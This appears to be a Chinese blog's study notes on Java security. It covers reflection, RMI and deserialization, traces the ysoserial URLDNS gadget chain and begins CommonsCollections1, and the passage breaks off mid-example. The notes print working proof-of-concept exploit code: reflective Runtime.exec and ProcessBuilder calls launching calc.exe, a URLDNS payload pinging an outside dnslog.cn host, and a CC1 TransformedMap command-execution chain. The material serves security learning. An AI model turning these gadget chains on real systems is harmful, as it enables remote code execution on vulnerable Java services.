拼搏百天,我要当Java高手!
下面的笔记来自于对于p神的Java安全漫谈的学习,同时参考了很多年没更新的huamang哥哥的博客。
反射
Java 中的反射(Reflection)是一种在运行时动态地访问、检查、修改类及其成员(如字段、方法、构造器等)的机制。通过反射,Java 程序能够在运行时获得类的信息(如类的名称、方法、字段类型等),并且可以在运行时修改类的结构,调用类的方法,甚至实例化对象。
Java 的反射 API 提供了一系列的类和接口来操作 Class 对象。主要的类包括:
java.lang.Class
:表示类的对象。提供了方法来获取类的字段、方法、构造函数等。java.lang.reflect.Field
:表示类的字段(属性)。提供了访问和修改字段的能力。java.lang.reflect.Method
:表示类的方法。提供了调用方法的能力。java.lang.reflect.Constructor
:表示类的构造函数。提供了创建对象的能力。
一般来说,反射的工作流程是:获取Class对象=>获取成员信息(通过Class获取字段、方法、构造函数等)=>操作成员(读取或者修改值、调用方法、创建对象等)
基本操作
获取对象
一共有三种方法获取对象:
- 通过类的字面量:
Class<?> clazz = String.class;
- 通过对象实例:
String str = "Hello"; Class<?> clazz = str.getClass();
- 通过
Class.forName()
方法:Class<?> clazz = Class.forName("java.lang.String");
三种方法有什么差别呢?
对于第一种方法,即通过类的字面量获取对象是需要你编译时已知类(比如String类),可以直接使用 .class
语法获取 Class
对象。
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) {
Class<?> clazz = Test.class;
System.out.println("Class obtained using .class: " + clazz.getName());
Class<?> clazz2 = String.class;
System.out.println("Class obtained using .class: " + clazz2.getName());
}
}
class Test {
}
这里我用了两种方法获取Class,第一种是这个代码里定义的Test类,第二种是默认有的String类,对于这种我们已经加载了的类,只需要直接使用.class即可获取Class。
而对于第二种情况,我们需要已经有一个对象实例,才能使用.getClass()获取他的Class
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) {
String str = "Hello, World!";
Class<?> clazz = str.getClass();
System.out.println("Class obtained using getClass(): " + clazz.getName());
Test a = new Test();
Class<?> clazz2 = a.getClass();
System.out.println("Class obtained using getClass(): " + clazz2.getName());
}
}
class Test {
}
可以看到这里我同样用了两种方法获取,一种是用String str=xxx进行赋值(这个其实相当于特殊的String实例化过程),另一种是把我们这里定义的Test类实例化之后获取的Class
第三种情况相对最简单,如果你知道某个类的名字,想获取到这个类,就可以直接使用 forName 来获取:
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("java.lang.String");
System.out.println("Class obtained using Class.forName(): " + clazz.getName());
}
}
比如我们知道String的全名是java.lang.String,就可以用Class.forName("java.lang.String")
获取这个Class,可以看到这种方法相对而言最简单,代价就是其他两种方法不需要throws Exception,而这种方法由于运行时可能找不到指定的类,所以必须抛出异常。
这种动态的执行方法也为我们安全人员提供了可乘之机,即使上下文中只有Integer类型的数字,我们也可以通过反射获取可以执行命令的Runtime类:1.getClass().forName("java.lang.Runtime")
。(真好,没有这些动态的执行方式,我们安全人员就没饭吃了)
对于forName实际上有两个函数重载:
Class.forName(className)
Class.forName(className, true, currentLoader
)
虽然二者本质上差不太多,但其实第一种用法只是第二种方法的一个封装,也就掩盖了不少的细节,默认情况下, forName 的第一个参数是类名;第⼆个参数表示是否初始化;第三个参数就是 ClassLoader(类的加载器)。是否初始化这个参数其实是告诉JVM是否执行”类初始化“,在 forName 的时候,构造函数并不会执行,而是执行类初始化,也就是会执行static{}
静态块里面的内容。
这样说起来可能会有点抽象,这里讲讲Java的三种代码块:静态初始化块(static block)、实例初始化块(instance initializer block) 和 构造方法(constructor),对于下面的代码,执行结果如下:
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
new Test();
}
}
class Test {
public Test() {
System.out.println("我是构造方法");
}
static {
System.out.println("我是静态初始化块");
}
{
System.out.println("我是实例初始块");
}
}
- 静态初始化块(
static {}
)在类被加载到 JVM 时执行,仅执行一次,只能访问静态成员,同时在任何对象创建之前执行。 - 实例初始化块(
{}
)每次创建对象时,在构造方法之前执行。 - 构造方法(
public ClassName() {}
)每次创建对象时,在实例初始化块之后执行。
而forName的这个参数就是控制静态初始化块的,可以看到它的优先级非常高,如果我们可以编写恶意类,就可以把恶意代码放在static{}里,然后用第二个参数直接对这个类进行调用,比如我们现在再改动一下代码看看执行结果:
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("chapter10.Test");
}
}
class Test {
public Test() {
System.out.println("我是构造方法");
}
static {
System.out.println("hacked by fushuling");
}
{
System.out.println("我是实例初始块");
}
}
创建对象
我们可以使用反射动态创建对象,用法就是Class<?> clazz = Class.forName("java.lang.String");
,主要就是获取Class之后进行一次
Object obj = clazz.getDeclaredConstructor().newInstance();newInstance
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("chapter10.Test");
Object obj = clazz.getDeclaredConstructor().newInstance();
}
}
class Test {
public Test() {
System.out.println("我是构造方法");
}
static {
System.out.println("hacked by fushuling");
}
{
System.out.println("我是实例初始块");
}
}
可以看到我们把三个代码块都触发了,和之前直接new一个对象的执行结果差不多。
当然,比如对于一个Fushuling类,在我们获取Class后,我们也可以通过Fushuling fushuling = (Fushuling) clazz.newInstance();
创建对象。
访问字段
主要的用法如下:
- clazz.getField(String name):获取公有字段(包括继承的)
- clazz.getDeclaredField(String name):获取本类中声明的字段(包括私有字段)
- field.setAccessible(true):允许访问私有字段
- field.get(Object obj):获取字段值
- field.set(Object obj, Object value):设置字段值
代码示例如下:
package chapter10;
import java.lang.reflect.Field;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
// 1. 获取 Class 对象
Class<?> clazz = Class.forName("chapter10.Fushuling");
// 2. 实例化
Fushuling fushuling = (Fushuling) clazz.newInstance();
// === 访问公有字段 ===
Field publicField = clazz.getField("publicName");
System.out.println("Public Field Value: " + publicField.get(fushuling));
publicField.set(fushuling, "yulate");
System.out.println("Updated Public Field Value: " + publicField.get(fushuling));
// === 访问私有字段 ===
Field privateField = clazz.getDeclaredField("privateAge");
privateField.setAccessible(true); // 允许访问私有字段
System.out.println("Private Field Value: " + privateField.get(fushuling));
privateField.set(fushuling, 25);
System.out.println("Updated Private Field Value: " + privateField.get(fushuling));
}
}
class Fushuling {
public String publicName = "fushuling";
private int privateAge = 20;
}
调用方法
利用反射调用方法的流程大概是:
获取 Class
=> 获取目标 Method
对象(公有用 getMethod
,私有用 getDeclaredMethod
)=> 设置可访问(私有方法要 setAccessible(true)
)=> 使用 invoke()
调用方法
- clazz.getMethod(String name, Class… parameterTypes):获取 公有方法(包括继承的)(注意,这里第一个参数是方法名,后面的参数表示的是这个方法传入参数的类型,比如参数是String就是String.class)
- clazz.getDeclaredMethod(String name, Class… parameterTypes):获取 本类声明的方法(包括私有方法)
- method.setAccessible(true):允许访问私有方法
- method.invoke(Object obj, Object… args):调用方法,第一个参数是对象,后面是传入方法的参数
非静态方法的调用例子:
package chapter10;
import java.lang.reflect.Method;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
// 1. 获取 Class 对象
Class<?> clazz = Class.forName("chapter10.Fushuling");
// 2. 实例化
Fushuling fushuling = (Fushuling) clazz.newInstance();
//调用公有方法 sayHello
Method publicMethod = clazz.getMethod("sayHello", String.class);
publicMethod.invoke(fushuling, "yulate");
//调用私有方法 add
Method privateMethod = clazz.getDeclaredMethod("add", int.class, int.class);
privateMethod.setAccessible(true); // 允许访问私有方法
int result = (int) privateMethod.invoke(fushuling, 5, 7);
System.out.println("Result of add: " + result);
}
}
class Fushuling {
public void sayHello(String name) {
System.out.println("Hello, " + name);
}
private int add(int a, int b) {
return a + b;
}
}
调用静态方法(这里我们就不需要实例化对象了,直接对类操作):
package chapter10;
import java.lang.reflect.Method;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
//调用静态方法 echo
Method staticMethod = Fushuling.class.getMethod("echo", String.class);
String echoed = (String) staticMethod.invoke(null, "yulate好帅");
System.out.println(echoed); // Echo: Hi
}
}
class Fushuling {
public static String echo(String input) {
return "Echo: " + input;
}
}
如果方法是静态方法,invoke()
的第一个参数可以传 null
,毕竟这个时候我们也没有具体的对象。
这里你可能已经迫不及待,想通过反射执行命令了,你可能会按照上面的格式写出下面的代码:
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
}
}
一运行就报错了:
错因也写的很明显,就是这个Runtime 类的构造方法是私有的,这里涉及到单例模式的问题,在单例模式下一个类在整个应用中只能有一个实例,而且提供一个全局访问点,好处就是节省资源(只创建一次)并且方便全局管理,因此不允许外部随便 new 。
所以这里只能通过 Runtime.getRuntime() 来获取到 Runtime 对象然后才能invoke我们想要的exec函数:
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
// Class clazz = Class.forName("java.lang.Runtime");
// clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
}
}
还原代码,其实就是:
package chapter10;
import java.lang.reflect.Method;
public class Java05_Reflect_Test_Expanded {
public static void main(String[] args) throws Exception {
// 1. 获取 Runtime 类的 Class 对象
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
// 2. 获取 getRuntime() 方法对象(这是一个静态方法)
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
// 3. 调用 getRuntime() 静态方法,获取 Runtime 实例
Object runtimeInstance = getRuntimeMethod.invoke(null); // 因为是静态方法,所以传 null
// 4. 获取 exec(String command) 方法对象
Method execMethod = runtimeClass.getMethod("exec", String.class);
// 5. 调用 exec 方法,执行系统命令 "calc.exe"
execMethod.invoke(runtimeInstance, "calc.exe");
}
}
这里其实有两个问题:
- 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
- 如果一个方法或构造方法是私有方法,我们是否能执行它呢?
问题一的解决办法
对于问题一,我们需要使用getConstructor,getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载,所以必须用参数列表类型才能唯一确定一个构造函数。获取到构造函数后,我们再使用 newInstance 来执行,比如利用ProcessBuilder执行命令的例子:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
ProcessBuilder有两个构造函数:
- public ProcessBuilder(List<String> command)
- public ProcessBuilder(String… command)
上面的例子其实使用的是第一个例子,传入的是List.class,不过上面的payload使用了java的强制类型转换,如果目标没有这种语法,就还得上反射了:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
先通过 getMethod(“start”) 获取到start方法,然后 invoke 执行, invoke 的第一个参数就是ProcessBuilder Object
package chapter10;
import java.util.Arrays;
import java.util.List;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
}
}
如果想通过第二种构造函数实现RCE,这里就需要用到可变长参数了,用...
表示参数可变,而由于编译时可变长参数其实会被编译成数组,所以String[]和String…其实没有什么差别,因此我们可以把payload改写成:
package chapter10;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
}
}
问题二的解决办法
这里其实很容易想到,我们直接用setAccessible把之前不能访问的方法设置成可访问就行了
package chapter10;
import java.lang.reflect.Constructor;
public class Java05_Reflect_test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
}
}
值得注意的是,这样的写法在 Java 9 之后默认会抛出报错:
Unable to make private java.lang.Runtime() accessible
看来官方也是有脑子的,都private了怎么还能让你随便访问,不过我们仍然可以在java 9中加 VM 参数:--add-opens java.base/java.lang=ALL-UNNAMED
来临时绕过,所以其实也没啥用。
RMI
RMI(Remote Method Invocation) 是 Java 的一种机制,允许一个 Java 对象调用另一个 Java 虚拟机(JVM)上的对象的方法,就像本地调用一样。换句话说,它支持 跨网络的对象方法调用。
它的核心思想是让方法调用“穿越”JVM,实现分布式对象通信。
RMI的组件一般包括下面四种:
- 远程接口(Remote Interface):定义远程对象可调用的方法。
- 远程对象的实现类(Remote Object Implementation)。
- 服务器(Server):注册远程对象到 RMI 注册中心。
- 客户端(Client):查找远程对象并调用其方法。
这里我们来分别实现这四个东西:
这里我们定义远程接口 Hello.java,
该接口继承自 Remote,声明了一个远程方法 sayHello(String name)(注意:所有远程方法都必须声明抛出 RemoteException,和之前的forName一样):
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
String sayHello(String name) throws RemoteException;
}
我们再实现远程接口 HelloImpl.java
,这里我们继承 UnicastRemoteObject 并实现 Hello 接口,同时具体实现这个sayHello方法和构造方法:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
服务器端 Server.java
,作用主要是创建 RMI 注册表(使用默认端口 1099),创建服务实现类的实例,将远程对象绑定到注册表中,使用名称 “HelloService”
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) {
try {
HelloImpl obj = new HelloImpl();
// 启动本地的 RMI 注册服务(1099 端口)
LocateRegistry.createRegistry(1099);
// 绑定远程对象
Registry registry = LocateRegistry.getRegistry();
registry.rebind("HelloService", obj);
System.out.println("RMI start");
} catch (Exception e) {
e.printStackTrace();
}
}
}
最后客户端 Client.java
的作用比较简单,连接到本地(localhost)的 RMI 注册表然后查找名为 “HelloService” 的远程对象,最后调用远程方法 sayHello,传入参数 “fushuling”
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) {
try {
// 连接到服务器(默认本机)
Registry registry = LocateRegistry.getRegistry("localhost");
// 查找远程对象
Hello stub = (Hello) registry.lookup("HelloService");
// 调用远程方法
String response = stub.sayHello("fushuling");
System.out.println("Server response:" + response);
} catch (Exception e) {
e.printStackTrace();
}
}
}
接着在这个目录下进行编译:
javac -source 1.8 -target 1.8 -encoding UTF-8 *.java
然后先运行服务端:
java Server
再运行客户端:
java Client
运行流程就是:运行 Server 类启动 RMI 服务=>运行 Client 类连接服务并调用远程方法=>服务器处理请求并返回结果=>客户端接收并显示结果
可以看到通过这种方式,我们就实现了在一个jvm中的对象调用另一个jvm中对象上的方法,有点像RPC,不过这里存在一个RMI Registry网关,他自己不会执行方法,但是RMI Server可以在上⾯注册一个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI
Server;最后,远程方法实际上在RMI Server上调用。
可想而知,既然能远程调用恶意方法,就很容易促进恶意代码的执行,为我们安全人员提供更多饭碗。
反序列化
大部分语言都存在反序列化,反序列化本身是为了在网络中传输对象而使用的,比如php或者java里的序列化方法,就可以把一个对象转化成一串二进制数据进行传输。
在 Java 的序列化过程中有一个很关键的方法 writeObject
,他用于自定义对象如何被写入(序列化)到字节流这个过程中,让我们在序列化流中可以插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。
readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题。事实上在PHP的反序列化过程中,一旦开始反序列化(调用unserialize),开发者就没办法新增内容了,想参与只能在序列化之前改属性,而Java的反序列化很多时候需要开发者深入参与,因此我们可以直接使用 writeObject
向序列化流里写入数据,这一点与PHP是有很大的不同的。
下面是一个简单的Java反序列化的例子
package Unserialize;
import java.io.*;
public class EasyDemo {
public static void main(String[] args) throws Exception {
Person p = new Person("Fushuling");
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("p.ser"));
oos.writeObject(p);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("p.ser"));
Person deserialized = (Person) ois.readObject();
ois.close();
System.out.println("✅ name: " + deserialized.name);
}
}
class Person implements Serializable {
private static final long serialVersionUID = 1L;
String name;
public Person(String name) {
this.name = name;
}
private void writeObject(ObjectOutputStream out) throws IOException {
System.out.println("🔒 writeObject 被调用");
out.defaultWriteObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
System.out.println("🔓 readObject 被调用");
in.defaultReadObject();
}
}
在上面的代码中,我们首先创建对象并序列化,也就是
Person p = new Person("Fushuling");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("p.ser"));
oos.writeObject(p);
oos.close();
这里我们创建了一个 Person
实例,传入名字 "Fushuling"
,创建文件输出流,指向 p.ser
文件(保存序列化后的字节),包装成 ObjectOutputStream
,它支持 .writeObject()
。这里oos.writeObject(p)会自动调用 p
的writeObject()
方法(如果定义了的话,也就是那个private void writeObject,否则就默认序列化字段),最后关闭了输出流。
接着进行反序列化对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("p.ser"));
Person deserialized = (Person) ois.readObject();
ois.close();
具体而言,先打开 p.ser
文件,读取刚刚写入的对象,接着使用 ObjectInputStream
反序列化(readObject()
会返回一个 Object
,所以要强制转成 Person
)。ois.readObject()会判断这个对象的类(这里是 Person
)有没有定义一个私有的 readObject(ObjectInputStream)
方法,有的话就会调用后再把对象返回。由于获得了一个完好的对象,所以我们在最后可以直接用deserialized.name输出他的name。
当然,即使我们没有实现private void writeObject(...)
和 readObject(...)
,我们依然需要写这两行代码:
oos.writeObject(p); // 写入对象
ois.readObject(); // 读取对象
他也会正常的进行序列化和反序列化,只是如果我们额外实现了这俩方法的话就可以增加额外逻辑了,比如我们在之前的代码的基础上稍微修改一下:
class Person implements Serializable {
private static final long serialVersionUID = 1L;
String name;
public Person(String name) {
this.name = name;
}
// 自定义序列化:写入原字段 + 额外逻辑
private void writeObject(ObjectOutputStream out) throws IOException {
System.out.println("🔒 writeObject 被调用");
out.defaultWriteObject(); // 写入默认字段(如 name)
long timestamp = System.currentTimeMillis();
System.out.println("🕒 写入时间戳: " + timestamp);
out.writeLong(timestamp); // 写入一个额外的时间戳
}
// 自定义反序列化:读取原字段 + 额外逻辑
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
System.out.println("🔓 readObject 被调用");
in.defaultReadObject(); // 恢复默认字段(如 name)
long timestamp = in.readLong();
System.out.println("🕒 反序列化时读取时间戳: " + timestamp); // 读取一个额外的时间戳
}
}
这里我们用 writeObject()
写入一个额外的时间戳,用来表示这个对象被序列化的时间;readObject()
在反序列化时把它读回来并打印出来,可以发现现在我们其实就改变了原始的序列化流,而这一点PHP是做不到的,也导致为什么Java的反序列化漏洞又多又严重,而PHP的反序列化漏洞某种意义上其实都不算是漏洞。
URLDNS
URLDNS 是由 ysoserial 提供的一种无依赖、无回显、无命令执行的 Java 反序列化 gadget 链(gadget链也就是利用链的的意思,有时候我们会进一步简称为gadget),其本质目的是触发 DNS 请求,用于验证目标是否存在反序列化漏洞。URLDNS完全由Java内置类构造,没有对第三方库的依赖,因此非常适合用来探测一个目标是否存在反序列化漏洞。
翻开ysoerial的源码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java,URLDNS的核心其实是下面的代码:
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
核心就是构造一个 HashMap,其 key 是特制的 java.net.URL 对象,当反序列化该 HashMap 时,会自动调用 URL.hashCode(),而这个方法内部会触发 DNS 解析,从而向你控制的 DNS 服务器发起请求。当然getObject这个方法本身是不会触发DNS的,这只是构造了一个对象罢了,注解一下大概如下:
public Object getObject(final String url) throws Exception {
// 1. 创建自定义 handler,防止构造阶段触发 DNS 请求
URLStreamHandler handler = new SilentURLStreamHandler();
// 2. 创建 HashMap 和 URL 对象
HashMap ht = new HashMap(); // 生成一个HashMap对象
URL u = new URL(null, url, handler); // 构造时如果没有 handler,会发起 DNS(但这里避免了)
// 3. 放入 HashMap,key 是 URL 对象
ht.put(u, url); // 会调用 URL.hashCode(),但不会触发 DNS,因为 handler 是空实现
// 4. 清除 hashCode 缓存,防止下次不触发 DNS
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
而当这个payload(也就是被反序列化后的对象)被发送给目标系统并进行触发的时候,比如下面的代码:
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
就会走我们之前说的Gadget触发漏洞。
为了便于理解,这里我直接给出能打通的代码(高版本会有麻烦,我这里使用的是JDK 1.8,也就是java 8):
序列化的代码
package URLDNS;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://18qmlt.dnslog.cn");
Class<? extends URL> clazz = url.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 1234);
hashmap.put(url, 1);
field.set(url, -1);
serialize(hashmap);
}
}
反序列化代码:
package URLDNS;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializeTest {
public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unSerialize("ser.bin");
}
}
运行序列化代码,可以看到在IDEA工作目录生成了一个ser.bin,这个就是序列化后的数据
我手动把他copy到URLDNS目录去了,然后运行另一个反序列化代码,可以看到平台成功接收到请求:
回到gadget,我们现在直奔HashMap的readObject(IDEA里全局搜索一下就搜得到)
@java.io.Serial
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
可以看到这里有一行putVal(hash(key), key, value, false, false);
,这里的hash是一个关键方法,因为在ysoserial的注解里写道:
During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
翻译过来也就是:在上述 put 操作过程中,会计算并缓存 URL 的 hashCode。这会重置 hashCode,以便下次调用 hashCode 时触发 DNS 查找。
对着那个hash函数,按住ctrl然后鼠标左键点击,可以定位到这个hash函数:
这里主要是调用了这个key.hashCode方法,但值得注意的是,hash方法是调用了我们传入的这个key对象的hashCode方法,而我们传入的key其实是URL url = new URL("http://18qmlt.dnslog.cn");
,所以其实是一个java.net.URL对象,我们来搜一下他的hashCode:
可以发现逻辑就是当hashCode的值为-1的时候执行一个handler.hashCode(this)
,我们再搜一下这个handler:
可以看到这东西是个URLStreamHandler
类的对象,再搜一下这个对象的hashCode:
这里有一行InetAddress addr = getHostAddress(u);
,看名字也知道离我们的目标很近了,再来跟根这个getHostAddress
:
关键逻辑是u.hostAddress = InetAddress.getByName(host)
,它可以根据主机名获取其IP地址,在⽹络上其实就是⼀次DNS查询,而这里就是我们的最终目标,实现一次URLDNS,这里我们就可以分析出来他的Gadget其实就是:
HashMap->readObject()
=>HashMap->hash()
=>URL->hashCode()
=>URLStreamHandler->hashCode()
=>URLStreamHandler->getHostAddress()
=>InetAddress->getByName()
这里我们回到yso的构造对象的代码里,现在就好理解的多,它的代码是:
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
首先是URLStreamHandler handler = new SilentURLStreamHandler()
,他是用来避免在payload 构造阶段就提前触发 DNS(因为 URL
一被构造,就有可能解析域名);接着是HashMap ht = new HashMap()
,他是用来创建HashMap
对象的;然后是URL u = new URL(null, url, handler)
,这个代码创建了一个 URL
对象 u
,但因为用了自定义 handler,所以这时候还不会触发 DNS;接着有一个很关键的步骤,就是ht.put(u, url)
,我们看到他的实现:
这里就续上了,put其实就是调用了putVal,他把我们之前生成的 URL 对象作为 key 放入 HashMap,为了保证反序列化时再次触发 hashCode,我们手动把hashCode重置成了 -1。
最后来一个老图重偷,再贴一次huamang哥哥的思维导图:
CommonsCollections1
CC链想打通需要CommonsCollections <= 3.2.1以及低版本的JDK,我用的是和上面一样的环境,下载链接:https://archive.apache.org/dist/commons/collections/binaries/,接着导入这个jar
先在项目的同目录创建一个lib目录方便管理
然后把下好的jar放到lib里,接着点击File,再点这个Project Structure
选择modules,再选择Add
选择第一个,那个JARs选项,然后选择我们的lib目录就好了
简单Demo
接着我们来试试P神给出的最简单的CC1 payload:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
上面的代码涉及了几个接口和类,我们来看看:
Transformer 和 TransformedMap
Transformer
是 Apache Commons Collections(3.x)提供的一个接口,用来对输入对象进行转换,返回转换后的对象,接口定义大概长这样:
public interface Transformer {
Object transform(Object input);
}
TransformedMap
是一个 Map 的“装饰器”——它包装一个已有的 Map
,并在你执行 put()
操作时自动调用 Transformer 对 key 和 value 做转换,比如我们可以对 key 进行大写转换或者对 value 进行某种格式化或类型转换等等。
下面是一个代码示例:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Example_1 {
public static void main(String[] args) {
// 原始Map(未被装饰)
Map normalMap = new HashMap();
normalMap.put("name", 123);
normalMap.put("city", "beijing");
System.out.println("未使用TransformedMap的结果:");
System.out.println(normalMap);
// 输出: {name=123, city=beijing}
// 定义Key转换器:转大写
Transformer keyTransformer = new Transformer() {
public Object transform(Object input) {
return input.toString().toUpperCase();
}
};
// 定义Value转换器:加后缀
Transformer valueTransformer = new Transformer() {
public Object transform(Object input) {
return input.toString() + "_suffix";
}
};
// 创建一个新的Map并应用装饰器
Map rawMap = new HashMap(); // 被装饰的Map
Map transformedMap = TransformedMap.decorate(rawMap, keyTransformer, valueTransformer);
transformedMap.put("name", 123);
transformedMap.put("city", "beijing");
System.out.println("\n使用TransformedMap之后的结果:");
System.out.println(rawMap);
